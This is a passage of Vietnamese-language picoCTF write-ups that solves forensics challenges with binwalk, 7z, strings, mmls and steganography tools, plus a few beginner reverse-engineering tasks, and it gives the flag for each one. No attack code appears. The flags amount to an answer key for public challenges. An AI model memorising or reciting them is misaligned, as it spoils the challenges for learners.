> nhận thấy nó tạo giúp ta 1 thư mục đã chiết xuất (.extracted) và gồm 1 hình ảnh nhỏ trong đó (2_c.jng)
- vào trong thư mục đó ``binwalk`` lần nữa

> nhận được tương tự (3_c.jpg)
- ``binwalk`` thêm vài lần sẽ thấy flag.txt

- flag:

>picoCTF{4cf7ac000c3fb0fa96fb92722ffb2a32}
---
### MacroHard WeakEdge

- nhận được file lạ

- kiểm tra:

- kiểm tra sâu hơn với tool ``7z``

- tham số 'l' --> ``7z l Forensics\ is\ fun.pptm``

> liệt kê thấy phần tử này đáng ngờ
- lúc này có thể sửa dụng ``unzip`` hoặc ``7z x`` cũng được

- nhận được chuỗi kì lạ
```
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
```
- decode nó

> picoCTF{D1d_u_kn0w_ppts_r_z1p5}
---
### Glory of the Garden

- dựa vào hint là ta có thể đoán flag nằm trong chuỗi hex ẩn trong [file ảnh](https://jupiter.challenges.picoctf.org/static/d0e1ffb10fc0017c6a82c57900f3ffe3/garden.jpg)
- ta có thể dùng
- dùng ``strings`` thôi

>picoCTF{more_than_m33ts_the_3y3eBdBd2cc}
---
### Enhance!

- tải [file](https://artifacts.picoctf.net/c/101/drawing.flag.svg) về thì thấy lạ về định dạng

- ``cat`` nó thử

- thì mấy dòng gần cuối có chuỗi tựa như flag
> ``{ 3 n h 4 n``
> ``c 3 d _ 2 4 3 7 4 6 7 5 }``
- thì submit thêm định dạng là ``picoCTF`` là được
>picoCTF{3nh4nc3d_24374675}
---
### Lookey here

- tải [file](https://artifacts.picoctf.net/c/126/anthem.flag.txt) về và dựa vào hint là tìm flag dựa trên prefix
- thì file là text, ``strings`` cho lẹ

> picoCTF{gr3p_15_@w3s0m3_2116b979}
---
### Redaction gone wrong

- tải [file](https://artifacts.picoctf.net/c/84/Financial_Report_for_ABC_Labs.pdf) về và biết nó là file .pdf

- mở lên thử

> bị tô đen nhưng chỉ cần kéo chuột là thấy hết rồi
- ão thặc đấy =)))))))))))))))))
>picoCTF{C4n_Y0u_S33_m3_fully}
---
### Sleuthkit Intro

- tải [file](https://artifacts.picoctf.net/c/164/disk.img.gz) về và nhận được file .gz

- extract nó ra

- nhận được file 'disk.img'
- dựa vào description từ challenge, ta dùng lệnh command ``mmls``

- chall còn cho netcat

> trả lời câu hỏi thôi, 'size Linux' thì lấy cái 'Length' của Linux mà phang
- flag:
> picoCTF{mm15_f7w!}
---
### extensions

- [file](https://jupiter.challenges.picoctf.org/static/e7e5d188621ee705ceeb0452525412ef/flag.txt)

- dạng file ảnh PNG, vậy rename lại từ .txt thành .png

>picoCTF{now_you_know_about_extensions}
---
### What Lies Within

- [file](https://jupiter.challenges.picoctf.org/static/011955b303f293d60c8116e6a4c5c84f/buildings.png)

- dựa vào hint nói là 'data encoded somewhere' ---> stego
- [online tool](https://stylesuxx.github.io/steganography/)

> picoCTF{h1d1ng_1n_th3_b1t5}
---
## Reverse Engineering
### file-run1

- [file](https://artifacts.picoctf.net/c/219/run)

> picoCTF{U51N6_Y0Ur_F1r57_F113_e5559d46}
---
### file-run2

- [file](https://artifacts.picoctf.net/c/155/run)

>picoCTF{F1r57_4rgum3n7_be0714da}
---
### crackme-py

- [script python](https://mercury.picoctf.net/static/db4b9e7a2862c320aa6b40e3551406bd/crackme.py)
- ``cat`` thử

- thấy đề cập đến mã hoá ROT47
- đồng thời nhận thấy chuỗi khả nghi
``bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE0d_a3hgc3N"``
- sử dụng [dcode.fr](https://www.dcode.fr/rot-47-cipher)

>``picoCTF{1|\/|_4_p34|\|ut_502b984b}``